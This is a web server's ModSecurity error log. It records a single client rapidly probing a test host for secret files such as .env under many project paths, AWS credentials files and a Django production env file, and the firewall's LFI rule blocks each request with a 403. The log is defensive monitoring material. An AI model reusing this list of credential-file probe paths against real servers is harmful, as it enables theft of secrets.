[Tue May 27 03:55:09.460024 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVQAAABA&quot;]
[Tue May 27 03:55:09.460228 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVQAAABA&quot;]
[Tue May 27 03:55:09.460375 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVQAAABA&quot;]
[Tue May 27 03:55:09.505975 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVwAAABA&quot;]
[Tue May 27 03:55:09.506201 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVwAAABA&quot;]
[Tue May 27 03:55:09.506383 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukVwAAABA&quot;]
[Tue May 27 03:55:09.528666 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWAAAABA&quot;]
[Tue May 27 03:55:09.528869 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWAAAABA&quot;]
[Tue May 27 03:55:09.529021 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/library/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWAAAABA&quot;]
[Tue May 27 03:55:09.551168 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nextjs-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWQAAABA&quot;]
[Tue May 27 03:55:09.551374 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWQAAABA&quot;]
[Tue May 27 03:55:09.551548 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nextjs-app/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWQAAABA&quot;]
[Tue May 27 03:55:09.573874 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWgAAABA&quot;]
[Tue May 27 03:55:09.574117 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWgAAABA&quot;]
[Tue May 27 03:55:09.574335 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node-api/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWgAAABA&quot;]
[Tue May 27 03:55:09.596705 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWwAAABA&quot;]
[Tue May 27 03:55:09.596980 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWwAAABA&quot;]
[Tue May 27 03:55:09.597153 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukWwAAABA&quot;]
[Tue May 27 03:55:09.619619 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXAAAABA&quot;]
[Tue May 27 03:55:09.619870 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXAAAABA&quot;]
[Tue May 27 03:55:09.620041 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXAAAABA&quot;]
[Tue May 27 03:55:09.720370 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXQAAABA&quot;]
[Tue May 27 03:55:09.720761 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXQAAABA&quot;]
[Tue May 27 03:55:09.720975 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXQAAABA&quot;]
[Tue May 27 03:55:09.743424 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/user/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXgAAABA&quot;]
[Tue May 27 03:55:09.743656 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXgAAABA&quot;]
[Tue May 27 03:55:09.743826 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/user/.aws/credentials&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXgAAABA&quot;]
[Tue May 27 03:55:09.766856 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXwAAABA&quot;]
[Tue May 27 03:55:09.767082 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXwAAABA&quot;]
[Tue May 27 03:55:09.767270 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/myproject/.env&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukXwAAABA&quot;]
[Tue May 27 03:55:09.789540 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envs/.production/.django&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYAAAABA&quot;]
[Tue May 27 03:55:09.789750 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYAAAABA&quot;]
[Tue May 27 03:55:09.789903 2025] [:error] [pid 3435317] [client 170.39.217.204:23660] [client 170.39.217.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envs/.production/.django&quot;] [unique_id &quot;aDUbfX4CeMAvTJAIhKukYAAAABA&quot;]
